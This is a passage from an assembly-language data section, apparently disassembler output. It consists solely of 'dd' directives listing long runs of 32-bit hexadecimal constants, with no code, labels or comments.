12AF3B2Fh, 0F76030F9h dd 0D26A4A5Ah, 41D404F6h, 0C98101A3h, 38C558E8h, 17935B30h dd 16AEF15h, 461A2E80h, 86E6D81Fh, 437CECEAh, 38F8CE05h dd 8CC04413h, 0BB94965h, 0BCC6E91Eh, 0F97579A9h, 0AA5713B2h dd 2392D2E6h, 0F8D4B425h, 2AEA7ACh, 80649F20h, 1A3A8BE2h dd 9843714Ah, 0E30995DCh, 0C69635C5h, 56884BFBh, 1B4ADD02h dd 20A383C4h, 9FF36B02h, 0D520ED74h, 0C021064h, 0E91C7165h dd 174AF02Ch, 8C01D568h, 514102EFh, 8E20A521h, 6A5E8134h dd 0F15B51E0h, 958C3DECh, 808901D6h, 8924D426h, 6A1090BBh dd 6C01127Ch, 2903054Fh, 9EAC5BEDh, 0E2842782h, 1D42B056h dd 424AEEFEh, 712F6C4h, 93C65013h, 0AA484E58h, 0E07C5F4Bh dd 14BABE85h, 0E14FBC42h, 0A02D7B07h, 0B3EE6018h, 0CC4ADA9Fh dd 4E7EDAB0h, 1E988C2Eh, 7658E86Ah, 9A0408CFh, 1C7F1F0Fh dd 0E9144074h, 2472B035h, 95ED31F0h, 29120ED5h, 73B5765Fh dd 0AAE94284h, 9D5F6E59h, 0CA4079C2h, 679D90DCh, 0ECD11792h dd 0DE8402B6h, 0FC3103BEh, 13B5AC7Fh, 76D6CC11h, 885983BDh dd 580DFAFAh, 0E7803C38h, 2BF70973h, 9C5CF908h, 826E4A58h dd 82FDA282h, 2E4C000h, 4EC43980h, 93AEEA4h, 0C728AA0h dd 336D3B13h, 5ECF3F01h, 0E9C86E6Ch, 13759416h, 0B9B2EB05h dd 5AAEEC97h, 403A878Ch, 78BF5393h, 1B880F22h, 0BAA4221Fh dd 249F8AE1h, 2E080551h, 14661EC2h, 0B877BB80h, 409D40FDh dd 535D0D07h, 7DB23191h, 0DC7772Fh, 972A7827h, 332E3CFFh dd 0EB87B73Eh, 733177A0h, 0CAB4E1F6h, 1DD8BE0Eh, 804E4CC9h dd 636EE71Ch, 87E91002h, 57512758h, 0E94185C5h, 243EABFAh dd 0F167B57Dh, 0A0EB04E4h, 525AE6C0h, 31C18BFCh, 0D021149Dh dd 40EF59CFh, 23235AFh, 2710F33Eh, 303E74C2h, 56CBF2C0h dd 8D253B2Eh, 0E6D72C18h, 0CC291AF5h, 4A568439h, 26FB5092h dd 0DC73A1D8h, 64685381h, 21BBCA3Dh, 0D5935C0h, 0D5292D0Bh dd 0E918521Ch, 5C0A0ECEh, 85C1DE66h, 0BAFEE654h, 946ABF2Dh dd 0A2DABFFDh, 6A9CB902h, 0C85F0D5Ah, 13111555h, 0EE51300Fh dd 40BA9AD6h, 1827883Ch, 894F158h, 3B289E2Fh, 0AF63BB0Fh dd 93786D4Fh, 0F1623E8h, 0D53106ABh, 0AE071F85h, 8B764A39h dd 42E9F704h, 0A5B3D17Ah, 0B416382Ch, 565989C2h, 25F4DAC5h dd 0D262976Ah, 28830A27h, 0AD0CD72Ah, 4B7EDF22h, 895DF707h dd 4C62057Fh, 5B0F1B05h, 0C99F5EECh, 0C856185Ah, 0BCAA5644h dd 4537B2E3h, 2C1831C5h, 0EBF0C1DCh, 236866A0h, 0AF4B487Bh dd 0BBB9EBC0h, 499A2F59h, 0AD2C405Ch, 2703A708h, 0FB213BDEh dd 6EB6860h, 0E9081D28h, 6FDDA437h, 0FFB9A504h, 0D87CE089h dd 0B33A15Ah, 0D0885CAh dd 4A7E4FCFh, 25AE80E5h, 20143D2h, 7E8C139h, 0DCE8D0F7h dd 3E520E22h, 50AE5835h, 508CBAB2h, 13A302B9h, 0C131651Eh dd 5DAF7D45h, 253A58AAh, 0FF6871F4h, 392E6804h, 0F81307B3h dd 0E870FE11h, 165FBA52h, 0C039060Eh, 9F925DA6h, 3105FB00h dd 1523F21h, 0AE910D0h, 80AF4F07h, 0FEE4A375h, 0E5C5CC97h dd 10F7B23Fh, 0F72CEE16h, 28BB08D2h, 4262011Ah, 3E515D1Dh dd 57545E62h, 27DE3A9h, 7B644C5h, 1885F245h, 5D91BADDh dd 3C897051h, 619675DAh, 17403198h, 2CF44F28h, 0E55A88FEh dd 974284A0h, 0E6FF2E94h, 4B24FE56h, 0E6F97F12h, 4C1E4784h dd 4A60102Ch, 4773BA45h, 0C42E95Dh, 81A7343Eh, 0F0F9BAE3h dd 0E92F6785h, 0BFE0618Eh, 0CA56506Fh, 0A842DA04h, 89F8EE1Ah dd 4BE90840h, 2F74B182h, 54C171ADh, 6FDB685Bh, 6F0B5F91h dd 1E37F32Fh, 271710DDh, 0C0838D09h, 78B2526Fh, 0A7122AECh dd 1D507AC3h, 4EA0B353h, 0C642D888h, 18DC97E9h, 899AF727h dd 763ECB01h, 0FFB26A34h, 0B86E0841h, 0DEB9F479h, 90D0C327h dd 14947595h, 5CE9D617h, 0B9976557h, 797F1809h, 0FF8E8230h dd 9FF1D7E6h, 4E26AE80h, 57740A27h, 0F904A62Bh, 0B151035Eh dd 0AEF9C7F4h, 84E80B2Dh, 61FCE54h, 74FEE331h, 0A4225F9Dh dd 2361E5C1h, 1C136F8Ah, 5B70CEEFh, 98E98C42h, 0F79B6A62h dd 2B8B1289h, 0D0F1127Fh, 9E393AA9h, 7A165E3Eh, 0D42B4BBDh dd 71064BE1h, 5A3468BAh, 4C568462h, 1D59774h, 0FCE9F1FEh dd 0FC5E2168h, 0C42AB929h, 0ABB6EB7Fh, 0BB85AFD6h, 0BDBEB594h dd 9DAAD6DCh, 0B2D3B04h, 0FBF19A92h, 8BEC7DD9h, 4F39BE75h dd 0AB670E04h, 0B5AB744h, 0D2F7051Dh, 497BC87h, 0F06F093Ah dd 2733BDB0h, 87F5EF8h, 0E90908CDh, 0B3BC7047h, 7D044BC7h dd 153093Ah, 7FA30E97h, 0E8C3BC87h, 0A707EB60h, 6C98E052h dd 0E9690EC7h, 1618F43Bh, 5BBEF0ACh, 928F569Dh, 0BE31C252h dd 21582BCAh, 0DDB4562Dh, 88042CBAh, 0A9BB00FEh, 9C45CE0Eh dd 23526DAh, 494C1BC9h, 5D5187F8h, 0C0AC3AB2h, 4C362D1Fh dd 530768Bh, 0F45B07A1h, 4B381ED1h, 1190FD29h, 6E287F16h dd 0E276DCB0h, 0CA094CE8h, 0F068D527h, 1116ACC5h, 0A70BB693h dd 25E4D490h, 27B44FDDh, 85979EFAh, 16695E29h, 4B0902F2h dd 702FF9C5h, 0EB262CF8h, 0D296D0A4h, 7E624896h, 0F0F84916h dd 80F2D5FCh, 20E5E388h, 84E8BAEh, 345A7CE7h, 869CBB04h dd 892E5E0Ah, 0CEE87F56h, 0C9EC9416h, 14C86BF9h, 0EAC6BF6Bh dd 2A583A98h, 0B1BAA4ACh, 53C27E07h, 6424696Dh, 57A043Fh dd 580AE2E1h, 0F64B25ACh, 659362D2h, 2FC6B475h, 279B2695h dd 2E2E1CC9h, 0E0A4E3F8h, 3709448Eh, 0F4FA0122h, 3AE9C331h dd 55C728E5h, 0B97C1F8h, 285DC5ABh, 0B05C95BDh, 0E407232Dh dd 0BB511056h, 5B592755h, 0FBC6171Ah, 4BFA6C4h, 1E074D7Fh dd 48B55182h, 121FD628h, 8EBBC759h, 8A107098h, 0FE2443F9h dd 0E0CC279Fh, 0DEE9A5F4h, 5F1DE89Ch, 9B749BDh, 58C109h dd 0EC4E4994h, 9F89DE6h, 0EBA80537h, 7277816Fh, 0FF38315h dd 82A5C112h, 0CB89EE82h, 27EBB160h, 34C02D19h, 58DC70BCh dd 9A0CC146h, 0A44E3B39h, 82035C8h, 4F140CD0h, 6093E7A6h dd 28086816h, 127E9895h, 40830E11h, 0F34CDE31h, 0DB0AF708h dd 1556E068h, 8DE95384h, 0AD2E2DA1h, 0F2BFF4F9h, 0DFBB936Ah dd 0C0E90931h, 52739106h, 0D615A37Eh, 111391EEh, 37243A2Bh dd 5D82BDC0h, 206BB8A3h, 65BF536Eh, 411709AFh, 9C0BED1Ah dd 0A7C0C25Fh, 4B1B3315h, 671BA000h, 88C19038h, 70EB80E7h dd 0C163BD18h, 705166A9h, 0D8043F5h, 854D00D6h, 0D9BD5531h dd 30000C47h, 0F25CD81h, 0D11FFAh, 2BBF57EDh, 0E9203779h dd 0F691E527h, 0B12F78F8h, 0EA0BF699h, 54C0D759h, 6E0FB050h dd 0B658C228h, 9DD3C3B0h, 0E3B66F03h, 0A481EA84h, 0EF2AF828h dd 974C012Bh, 0D1D76689h, 0E9AD608Fh, 99B2ED18h, 46CBE05h dd 17FF1C34h, 0E650EB75h, 2756580Bh, 0A8F72932h, 255440DAh dd 22E0BFE9h, 3C120605h, 10FF58B0h, 5A2507B4h, 934865DDh dd 0F6F5C5E8h, 0F97E82BEh, 0D814F7FEh, 976A1D20h, 9B421E5Ch dd 0DEFA3460h, 0CDBF48C7h, 10CDC0Bh, 5A3305C7h, 92A03BBAh dd 24EB6BA4h, 0AC5B7818h, 0C11493B5h, 5E3E79CFh, 2A63810Ch dd 0E3EE2948h, 0E9080295h, 11D54093h, 0F23AE83Ch, 8AAB4AB2h dd 9A1D1ABCh, 3E407DCBh, 0E2018045h, 99B1516Ch, 31F3CA30h dd 0CFE4100Ch, 36A00472h, 0D4F63ACCh, 910E84Ah, 5C7583E9h dd 0EF6072DFh, 3F020E50h, 35E94142h, 9CF35146h, 5A030352h dd 0A713D031h, 0CAAD06E9h, 2170414Eh, 82257A2Eh, 5467E30Ch dd 0B2084070h, 0B96E480Ah, 98A2992Ah, 0A1FB0F00h, 0D97C49D8h dd 392D16E2h, 2C2C7A16h, 4EC2D689h, 0DBBBD56Dh, 319BB609h dd 0C9B18037h, 4C7466CBh, 9A07CF41h, 0C0266C71h, 73DB6F1h dd 0DEA90E4Fh, 2C095150h, 13FBF3C4h, 0F4B3D301h, 813620F8h dd 0E92F507h, 0E5655162h, 2101D481h, 13227070h, 0EC0A7478h dd 7D50250Ch, 0E92763CEh, 0D85322ADh, 60EAD72Dh, 0D8653CF1h dd 68C065F8h, 57026279h, 0F52D5E25h, 0F0297883h, 76E92709h dd 0E559A369h, 0AC12C11Ah, 0CAB7992Bh, 5561F402h, 2BFD99A9h dd 860275C0h, 520AB211h, 0C95FB60Eh, 90C43FEh, 8919E9C0h dd 4EBD8DEh, 5909E64Eh, 0E99A53DFh, 0B328C84Ch, 683AEEDCh dd 509097BCh, 1F32D1AEh, 47DEFAE4h, 2FF68041h, 813BF0C1h dd 6907D125h, 0E9501CF1h, 0E6BD9016h, 0BD2EDED4h, 0AE93CF7Bh dd 0E6803637h, 6C226223h, 78977C58h, 408DEC4Bh, 96061130h dd 1F9C481Dh, 64230F4Ah, 0EAF7BEC7h, 49591E17h, 10E8C7C2h dd 33BBCD8h, 1D1865B5h, 0A0DF28AFh, 14F6EE6h, 0A956A180h dd 0CDD8BD61h, 837F4B09h, 122F8634h, 26E277C7h, 8B870F1Ah dd 5587E7B4h, 990B32Ch, 0CED50987h, 7DFC8241h, 4C9777Bh dd 7AADF0C4h, 205D9405h, 9885BB5Ch, 64D4ED80h, 1A050248h dd 31EBF2A8h, 0D9E82DFh, 0BD6509E3h, 0E9795C18h, 0D1214BAEh dd 26BABAAh, 2868FF5Eh, 6D4A31A5h, 2DDE54C0h, 5A753549h dd 91AA1Ah, 122EF3E9h, 0D3F33848h, 759A8997h, 0FF109F9Ah dd 51BF0272h, 4B5E1E37h, 39525A74h, 0DC72F913h, 0DD3E813h dd 0F30A631h, 226BBBBEh, 32370F93h, 0D0802CD0h, 0AED1280Eh dd 78CAB7C1h, 0C8885009h, 0DEF6A698h, 5613DDB0h, 660CC628h dd 0FEF7F14h, 0FA8DD091h, 2DE0A269h, 0FE622FB0h, 0FF27D940h dd 0BF98D7E4h, 752A5D0Fh, 0E4A1C528h, 0B30720FBh, 0E616B068h dd 0F916D830h, 0CE9502BBh, 624AB4E9h, 6D3AC875h, 94A05122h dd 0D7BFB22Eh, 3F7B9DBBh, 0E98265BDh, 11C586F6h, 18BA682Fh dd 0B00EAC7Dh, 43600AD0h, 21E84EF1h, 5A680BEFh, 286C6C54h dd 0BB6E007Ah, 0DA2DBE74h, 0E8B5D756h, 1258EE16h, 17DFD6Ah dd 2003508Ah, 86B73013h, 49D77817h, 6A503A1h, 0F2CFA360h dd 75B0672Fh, 0C1A83020h, 41B774ABh, 8D52BE73h, 1EA14066h dd 2DE57B88h, 91E4ADA3h, 2A20B0B0h, 482167BBh, 0FA0534C1h dd 477EF060h, 0DE7C606Dh, 6911700Ch, 7DAECEC1h, 5F3A23C0h dd 5887FBE4h, 91F73CE1h, 251A22E9h, 10022029h, 0EF204596h dd 0C3FA3C24h, 8AD016BBh, 0B0EA7335h, 0A280DEFCh, 41538176h dd 0C511A38Bh, 581441Fh, 0BFEDD186h, 41A793A0h, 64A32E84h dd 82DDBD97h, 54F8E9DDh dd 4C77251Ah, 3F557E95h, 9F620E23h, 705E76F9h, 79059562h dd 1062646h, 523271F7h, 71133A6Eh, 2759DC7h, 0D8965CB9h dd 0F09DF5DCh, 634B8A52h, 7D3DC24Dh, 5C606851h, 0BF03E768h dd 68C2EA65h, 270DFCCCh, 27E594FFh, 0AC41ECE9h, 6FFCD9ADh dd 7D529892h, 7B8B277Bh, 4578D92Dh, 0F17CD45Dh, 0FA64094Fh dd 0A7E8BC42h, 88003F4Ch, 0B9F68164h, 951DC769h, 0C6FB00DFh dd 5C707BBFh, 804A8ACCh, 7709BE17h, 77D0848h, 20644CEEh dd 0B1E95373h, 7C62FEEFh, 1350D784h, 542E8EFAh, 0D84AF3E9h dd 6BF41BA4h, 0D25EE126h, 3DEB0297h, 10C3725Dh, 831815D5h dd 0DC3010C6h, 0D0528282h, 0ABE5F5CAh, 89ABD43Fh, 8AFEF74Ah dd 54B981CEh, 0E02EB720h, 7F110E33h, 57194890h, 0E6ED63D2h dd 620AF28h, 7A82F0B5h, 0D8F780BCh, 3531E097h, 0C2AD4F9Ch dd 0A3DDA7D6h, 9861CAE9h, 52898C2h, 0CCFE5AD4h, 9AED2C0h dd 660E4DF8h, 87FB64BEh, 5E77F101h, 0BF862D93h, 0E3C829D3h dd 440E4E05h, 0F1E84BBh, 0AD6DD31h, 66ACB240h, 4CB75351h dd 0FC229EF6h, 0FAA5EF5Bh, 0B9CDEDECh, 0BDC212ABh, 570C6BAEh dd 6B5E6941h, 0E2A6C6B8h, 85E90A09h, 854F7CD9h, 122A0CA9h dd 9FA6AEFCh, 12598E50h, 0F0F53A38h, 8D40899Fh, 934EF068h dd 9477A5D5h, 70CF3014h, 566CEEBFh, 12AD609h, 94C80FEh dd 0B766DE73h, 6B3628E0h, 49E9170Bh, 3CA879D9h, 81C87E37h dd 0F0C18158h, 0B97CE603h, 71BE09ECh, 5A2D8952h, 0A0015841h dd 1187DE25h, 0F8B0D556h, 54B65FDDh, 61EACF10h, 0FED7793Ch dd 0F93162Dh, 0E277F86Eh, 8DBB033Bh, 0F14D8319h, 0C2147EC0h dd 7529D714h, 36D12D87h, 37E0C48h, 5B5C6127h, 1B688514h dd 20779945h, 5981BD33h, 5C3C3DD9h, 80F9B603h, 0F69916CEh dd 10AA04E5h, 0EE2A63EAh, 0BB8B95B5h, 0F6B48577h, 0D8B2A531h dd 0E11AC12Eh, 68021520h, 0F410E95Fh, 94D725A0h, 2DD580E0h dd 38AA3E4Eh, 5CBF506h, 0BA277225h, 6161481Dh, 6A79BD02h dd 0FDE1EDC4h, 0D978AE2Bh, 0D6BB30E9h, 0F5B42DB0h, 9D235D28h dd 0E9070861h, 0D17B41AFh, 6920B9BAh, 4B31120Eh, 2A2A3CCAh dd 614AA2EBh, 8A7E5649h, 40D48A4h, 5A123CA0h, 4191A8FBh dd 0D88B7A08h, 0F770EE5Bh, 9DFF19C7h, 9E7977Fh, 0E457303Ch dd 0B478B5C4h, 0D92B9427h, 8437952Ch, 53F6837h, 0DE4BEE28h dd 0CDCE7708h, 4A37C69Fh, 0EF66E421h, 3520891Ch, 0D66F29DEh dd 0EAD04972h, 0E4601BF0h, 62E1CB2Bh, 0F7B761Dh, 27F510F3h dd 0BCF7E964h, 16F94F18h, 239DB10h, 614329B9h, 12437D2Ch dd 5E3A2C1Dh, 600130CBh, 1652C360h, 0EB5CBA1Ah, 60083D50h dd 6706E60Ch, 0D75D525Bh, 91B7535Eh, 7D5B5ABh, 11C24984h dd 0FCDB63C1h, 0FD94E387h, 0D5C2C618h, 1FA5149Dh, 8467EFB9h dd 0F024E94Ah, 0A1256883h, 82BE7979h, 540569BCh, 2883F955h dd 0F1D87A9Ch, 293EE109h, 5D00196h, 2AD740C9h, 6A530h dd 0D73A025h, 107C2D78h, 123C0C4Ch, 74A358C7h, 4C459A86h dd 2C07BA4Eh, 2FB45140h, 591D0CF9h, 0EC38D368h, 9156C425h dd 3EE989FBh, 0F55AC0B9h, 45BB2E4Ah, 0A85DCAE4h, 0E088480h dd 0B70F5C00h, 0E22468C8h, 0C69BCB30h, 1661D1D5h, 0DB2E1588h dd 0E8525009h, 99481E1Bh, 7D9495Ah, 70478F42h, 1EC720B4h dd 0D9D12127h, 8556E99Eh, 82CB1858h, 3FED545Dh, 0BF477FAh dd 0CD01B1A6h, 0A091C677h, 350B63AEh, 101E44F6h, 0F94F08E4h dd 0C8E79F0Ah, 82D48C83h, 27787177h, 0F72C1857h, 4A683DF1h dd 88936C59h, 0BC4FA43Ah, 0CB8045D5h, 0B5310315h, 39E975E8h dd 21413EE1h, 2C1B13D1h, 16330320h, 0FCD3E4ECh, 0D8BE4B3Ah dd 1EBA7574h, 675B617Ch, 9BFC2613h, 0F314D186h, 4DA9EB5Bh dd 935F0C6Bh, 8DBAE559h, 71F56B65h, 82E90E40h, 0EFB3C99Ah dd 5E56E1FFh, 8411C26Ah, 70501077h, 54DF2F26h, 16BD6CF8h dd 0F73A200Bh, 621F5EBDh, 4259DDE0h, 0D4C8210Bh, 3462DAFFh dd 0C31AF7F2h, 26103h, 0F14C40A7h, 760BB52Ah, 68052B5Ch dd 0B1E85719h, 0DF7A07C0h, 34C05B20h, 4CFD30F5h, 12DA6001h dd 6F5F71EAh, 4CFC6E58h, 5C36135Bh, 0C50789F9h, 0E9D4D0FCh dd 0F24C20F7h, 26C224Ah, 685A0A8Bh, 37A84BDAh, 9991CE2h dd 0E370282Fh, 7C971BBAh, 665F99EFh, 69A0D0E8h, 714856B5h dd 7E2975EEh, 2CC43BB2h, 2CCFFEDEh, 170EFF4Ah, 6C452EF7h dd 393E0C50h, 0E916461Eh, 0FD4EEEF1h, 43E8E4D0h, 0ED809DEAh dd 0F667854h, 947B322Dh, 13EB5A8Eh, 0A86BBFFh, 1EDC9D0Ch dd 0D51D9C2Eh, 26E9E565h, 125BD4Eh, 944A3D66h, 78A55A15h dd 66AF922Ch, 57E4D9C2h, 534576F9h, 0E60F8D0Bh, 1C5EC3BDh dd 0A6781A7Fh, 0D30847E5h, 2C4C87DFh, 0CFCD1200h, 9F34AECAh dd 0A2A88123h, 10116205h, 6809F78Bh, 2CF448EAh, 0EB0FD960h dd 2022B82Ah, 30073D46h, 0F98858E7h, 91B0AAA5h, 0B5CC3980h dd 15C9EC97h, 100F37Bh, 87B850C5h, 7C582F55h, 755580Fh dd 90E72D04h, 10EAD495h, 0ED02B82Dh, 621B2B61h, 8DC287Fh dd 0D2FF1C34h, 0F5855892h, 55A2EBD5h, 3B84FA4Eh, 97ECFCFAh dd 8F68BE2h, 6A84BE05h, 0EC50226h, 0FB254AB8h, 0E989D160h dd 2D26FBB5h, 7C370DD0h, 5174E565h, 4A12ECC2h, 0AFE5DD25h dd 9FB85AE9h, 720AA901h, 0DBAE60BAh, 58389841h, 37D92110h dd 1947127h, 0E73CA8C9h, 6EA1257Eh, 0BEE712E8h, 709A591Bh dd 40DFC294h, 0F60DB83Eh, 29661B18h, 849C44C2h, 0FA0B14CDh dd 0DA30A548h, 48B12D2Eh, 56D4AE2Fh, 0DD286286h, 479BBAE8h dd 14AD0499h, 20859B8Fh, 0A9C54FA7h, 57E91263h, 554C425Dh dd 388050D1h, 0AC5AD8C4h, 0B24119F6h, 0B9104521h, 31002819h dd 0E7C9811Fh, 166A3049h, 0EAC5C1E9h, 2AA84261h, 3FD9F701h dd 26E5FF04h, 6F98A812h, 59EC6599h, 529B6FFh, 0A726F6C7h dd 0A5D7C0EEh, 7A5F9C72h, 806D7A5h, 5E14801Ch, 0A4AF4AE9h dd 8200CF5Ch, 5653FC3Fh, 64DBABEh, 0F72144F8h, 9800425Eh dd 5E39C13h, 4CCD1770h, 742C234Ch, 0D8744B30h, 625FADBDh dd 0F8EA5C1Eh, 61533268h, 0B4E912C4h, 5AD3F391h, 1F47137Bh dd 2E667EBh, 0D7EC585Ah, 0E8D09387h, 68D4E600h, 3CC17249h dd 1CF303EEh, 31AE4483h, 0C045C78Ah, 0F50B8948h, 7F8BDDE9h dd 2ABF8045h, 594AE14Dh, 0E0D1DF17h, 0B001FC02h, 7516DCC2h dd 0B776C6BFh, 0C701E968h, 3FF9BDFEh, 3EB22277h, 0F797714h dd 276812ECh, 7A135F1Bh, 43C5FE4Ah, 0D24EB2BBh, 0BB53DD60h dd 0FC5B003Fh, 0A4C3B971h, 44B48E03h, 0F2DB4927h, 16E3EDACh dd 4909B2DEh, 0E2EE2F01h, 0F075D091h, 2FA9BEE6h, 7352BE77h dd 2C736AE9h, 0DA5A0892h, 28CFF825h, 82DB6CA1h, 0D096D5BDh dd 0D32EB8C2h, 2EBD889h, 102D7F7Dh, 9362DD01h, 41C6080Dh dd 7F92CEF3h, 81831098h, 1FE96051h, 0A7C7216h, 7BEEA501h dd 813139DCh, 8149B828h, 0E7CA3D78h, 222C8A5Ah, 0CF673014h dd 4F57BF30h, 16A0C53Dh, 0B540E10Eh, 3B321091h, 5C82829h dd 68590A07h, 92F67A1Dh, 5D66B09Eh, 0D9C0F7BEh, 0D7556530h dd 0E0C61222h, 4C17B5ECh, 57B10DB4h, 0F1EA8A04h, 907F6516h dd 0BD0214B4h, 1F594F9Dh, 2FC36A61h, 5F64AC8Ch, 40FCF57Dh dd 0DC4692CBh, 14CC494Ch, 841623CEh, 280B7CA2h, 0D1308502h dd 88D2E7DFh, 0C5936537h, 19781BFh, 2D5CF5CDh, 5EE327A4h dd 0F2E9EF04h, 40BFECE0h dd 714C2216h, 8CFE330Ah, 6804CD24h, 31EA1006h, 43D1BAEh dd 64678001h, 0D8F93028h, 0C91A7D32h, 0C9A73EECh, 0EA99BC21h dd 24374F48h, 0C1723177h, 0A66F5AA0h, 994F24C2h, 0FB12D0B9h dd 0D8D8B095h, 58082833h, 84924EBEh, 669A8154h, 636800D7h dd 22E72772h, 0C376AFFAh, 7847AF09h, 0C4EFA89h, 1E0912BDh dd 2602F10Ch, 2DE96032h, 0EE92C403h, 418BB785h, 2AFAEDFDh dd 6E7CBD75h, 55CE68E2h, 5017C7F1h, 7445A0h, 0BF25D72Fh dd 0DF051214h, 5D2C9890h, 9500024Fh, 89EA9BEEh, 0FBE916F8h dd 3724BE12h, 0B08836C4h, 21CD40E3h, 0D1902098h, 1711EA4Dh dd 87FE03E1h, 423A67CCh, 0B3E13BEEh, 50882EB0h, 0BD1D50DDh dd 88B0BCFBh, 4E325B04h, 0D0B56893h, 5A71FAE7h, 1051F322h dd 257D3E6Ch, 0B03BDE9Ah, 5DC3EBB0h, 0F43BE425h, 0D68B0C2Bh dd 8509C627h, 0DF6B7E6Ch, 70F489A9h, 0C62CE87h, 0D70024F4h dd 315EC56Ch, 4F10FA97h, 68B29CACh, 1B717325h, 800C282Ah dd 1011C4C9h, 0AED8AE57h, 0E5C0624Ch, 21E8F129h, 20E37466h dd 2E765FCh, 0C4D1405Ch, 318E2D07h, 0C4063FCh, 0B5C6381Fh dd 3055FFC2h, 88175FDAh, 691E09C5h, 0A9C91A07h, 0B1FBF9E2h dd 69367A66h, 538F4006h, 0D4C679E9h, 31300180h, 0D4E97B6Fh dd 15A4D39h, 5F5E5080h, 92903F56h, 763F6D08h, 9FE30C73h dd 68EC926Eh, 33B20B4Eh, 33F7D016h, 0DDF8518Bh, 1B505B0Ah dd 386132F8h, 4350C685h, 2A6840F8h, 5BF43437h, 0ADDE17A1h dd 0DF56CF2Eh, 0D7E9426Dh, 1087165h, 114826BAh, 165C3E02h dd 0D1604BD7h, 7D847867h, 0F51F303Dh, 0D1C0351Ah, 29459109h dd 28E4F4C7h, 2539EE5Ch, 0F6947E3Ah, 7D5209BDh, 9818B796h dd 0EF2EFD11h, 1B521CD0h, 44E94557h, 85E4B9D9h, 67FB736Dh dd 0BF4EA44Eh, 9CEEE613h, 7B0BBAC5h, 7C663C6Ah, 0A58739B8h dd 61B9E996h, 0D84FD30Fh, 0F6AB6062h, 82FCC64Bh, 870098E6h dd 15BE447h, 979168F7h, 0BB546F46h, 2AE7DF0Fh, 0E92D38FFh dd 946BC825h, 9844ECEh, 0BB99BF13h, 7CFD2AFAh, 5D3FE909h dd 2248ED7Fh, 2A5848D4h, 8B11EC5Bh, 5296B487h, 1012A954h dd 0FDC16462h, 0A2B48BBCh, 0C5595E75h, 0AB5C966Fh, 282A934h dd 7D68013Dh, 0EA9A7E3Ah, 9766E440h, 0B800C166h, 7F5D6056h dd 249FAEBEh, 8C8B80A2h, 0B62A05FAh, 0B551B902h, 0C1EE3095h dd 0B006A1E9h, 5C9C7EB5h, 549DEBF4h, 76775222h, 851FEA9Ch dd 9986413h, 3282DAF9h, 0FC404208h, 4C5E2307h, 280240A0h dd 168CD7CEh, 401EE9DAh, 32B6BE47h, 0C2BD2E6Fh, 5FAFC27Ch dd 0F9CAB24Bh, 754B9FF1h, 6968F65h, 0A73B75F1h, 2CC1CDB1h dd 0CE5F316Eh, 0CD81007Dh, 2D361DBDh, 0D5E5811Bh, 0F0346F5Dh dd 5513D1EDh, 40C306Dh, 13EA2FE6h, 0AB52798Bh, 0A2C22DA0h dd 0A259DF08h, 7700582Ch, 0E9359374h, 0A4625ADEh, 105DED6Dh dd 12EF5FF5h, 6D5010Bh, 6001616Ah, 2880B95Ch, 68660EE8h dd 0F4927D4Fh, 7A9FA6C8h, 0BACF4FCCh, 0F5466109h, 68E55CD0h dd 17E8D7A0h, 47A482E4h, 0B8AF5904h, 0CBE4C2C3h, 41A50FEh dd 14A586F6h, 0EBEE840Ah, 18EC1BD5h, 6850D82Dh, 62ADD39Fh dd 41707FE9h, 3D025FB1h, 4232AF23h, 87CA753Ch, 6CE90740h dd 9BE27FF9h, 0F0F97196h, 64F27F5Eh, 2289E9CBh, 322F335Ah dd 88FDD1CFh, 4A283F19h, 461D020Ch, 0F3915Eh, 0A372CC91h dd 0FEFABEE9h, 42522291h, 5421688Bh, 9652C159h, 31F7205h dd 0B568E4Bh, 0E08DFA63h, 0C1798174h, 0ED949888h, 0B7455D25h dd 5D3EFB0Bh, 0F0DD7339h, 7882349Fh, 0FCDB95F3h, 68C3D4EAh dd 6ECDA4C2h, 0A088B87Ah, 0B663A268h, 0D3296ED9h, 1C9D69E0h dd 3DC6E6BDh, 0D484525Eh, 0E862C85Bh, 209D2ECh, 20730407h dd 0C5CB40EFh, 0A1CFE07Ch, 0C2560165h, 0AD5752AEh, 0F0FA7182h dd 56C96596h, 59E98B95h, 0BDA24FF8h, 4BDE5BFFh, 25B7E5F5h dd 605B0ECCh, 0C6304C03h, 0F2BB8558h, 59A5C711h, 0F44808h dd 2BB242BEh, 0BD187ABAh, 0B98CD44Dh, 22540D3Ah, 668DA01h dd 0FA25CE08h, 48BF4451h, 0EE3FF159h, 961C497h, 5910DAD2h dd 719DBB46h, 92C9CFB2h, 2F5D76E1h, 51365CCBh, 5AB57C47h dd 59A49515h, 0B45BEAA0h, 0B538D1E3h, 94F36980h, 210FA43Ch dd 0F1EC02BDh, 89BAC577h, 0E4F74BFDh, 515D2098h, 13E6BA00h dd 0E2813519h, 8E6D1878h, 3D89866Bh, 1198DA79h, 0F825314Bh dd 85A89883h, 99E1478Dh, 0B5686B84h, 382F9D69h, 0CFE9A1EEh dd 4F31DE51h, 68097032h, 0E6795114h, 0A17DF683h, 0F5F7DB57h dd 309CEBBh, 2A2777C1h, 0F0C9E007h, 0A522C4Ch, 25AE06Ch dd 212427F2h, 0E90297D1h, 8E2C7F2Dh, 2818DEE5h, 98E0D38Ch dd 1D8B0053h, 0BD553B43h, 7C4A1851h, 9B046CFCh, 0F82AAA74h dd 71E5031Dh, 28BF1Ch, 0D817701Ch, 5DEE0953h, 0F84565Ah dd 0F5B799BBh, 41C8E8ADh, 879E9CB0h, 98FE3316h, 723BBE9Fh dd 0E97C0225h, 56FF5026h, 0F98741B9h, 4EEC7FFEh, 8F3BEBF4h dd 0DBFEE90Dh, 0AF3B4Eh, 55EC2D41h, 0E8EB1BD7h, 445E7B2Eh dd 74169BCh, 7C118CD6h, 65491358h, 8004FE24h, 4783DBF7h dd 7894B18Fh, 2C31770h, 0EC390B89h, 0E9EA7BE9h, 84D44775h dd 0B99F4EE9h, 624A27E8h, 0DFBC8B36h, 2959A2C0h, 9DB27697h dd 0EF10A704h, 7B9F90D3h, 0BF0F8401h, 0CC6EC2C8h, 69265E77h dd 0F4E99E68h, 571DEE9Eh, 0AFE46E8Ah, 715BF82h, 0EFD540C8h dd 8EBB137Bh, 0E3878014h, 242544EEh, 4A9CC021h, 0B62583D2h dd 7DB98FA1h, 4FE4C6D6h, 4641744h, 12BCE4DEh, 51CC960h dd 75A030B5h, 619B3B6Ah, 262D0301h, 7E6D0914h, 7C07A210h dd 1B0511AAh, 42D8BB5Bh, 0F511B561h, 6A802E9Ch, 89B652h dd 0F680C6FEh, 71EAE9F0h, 9D0BC4A4h, 800DC022h, 57AD8E8Eh dd 4A429D19h, 70DDD8CAh, 91B949E1h, 0FBB86812h, 